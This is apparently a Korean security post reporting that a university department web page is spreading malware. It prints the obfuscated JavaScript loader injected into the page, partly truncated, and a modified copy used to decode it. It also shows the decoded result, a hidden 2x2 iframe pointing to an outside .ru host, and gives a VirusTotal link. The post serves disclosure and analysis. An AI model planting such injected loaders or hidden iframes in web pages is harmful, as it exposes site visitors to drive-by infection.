인제대학교 일어일문학과 http://homepage.inje.ac.kr/~japan/xe/index.php?mid=main 악성 코드 유포중 !

유포 링크 : http://homepage.inje.ac.kr/~japan/xe/index.php?mid=main

메인 스크립트 !

<script>s="";h=-016/7;try{q=document.createElement("p");a=(q)?"appendC":12;q[a+"hild"](""+n);}catch(qw){f=(q)?"fromCharCode":2;try{eval("a=prototype");}catch(zxc){e=window["eva"+"l"];n="52.50.[생략].91.40".split(".");if(window.document)for(i=6-2-1-2-1;-161+i<0;i=1+i){k=i;s=s+String[f](n[k]/(i%(h*h)+4));}e(s);}}</script>

----------------------------------------------------------------------------------------------

디코딩을 위한 변형 ! 

<script>

s="";h=-016/7;try{q=document.createElement("p");a=(q)?"appendC":12;q[a+"hild"](""+n);}catch(qw){f=(q)?"fromCharCode":2;try{eval("a=prototype");}catch(zxc){e=window["eva"+"l"];n="52.50.600.[생략]1.40".split(".");if(window.document)for(i=6-2-1-2-1;-161+i<0;i=1+i){k=i;s=alert(document.write(String[f](n[k]/(i%(h*h)+4))));}e(s);}}

</script>

디코딩 후 !

<iframe src="http://evdyvaz.ru/count17.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>

현재 서버는 죽어있는 상태입니다!

=========================

Server IP(s):

0.0.0.0

=========================

소스 확인 : view-source:http://homepage.inje.ac.kr/~japan/xe/index.php?mid=main (구글크롬)

바이러스 토탈 : https://www.virustotal.com/url/6a1de859fcdd6037d7f83b3c32d95aef90ca4e7cb2cb3be6d1fb6649ee9d4dee/analysis/1345892170/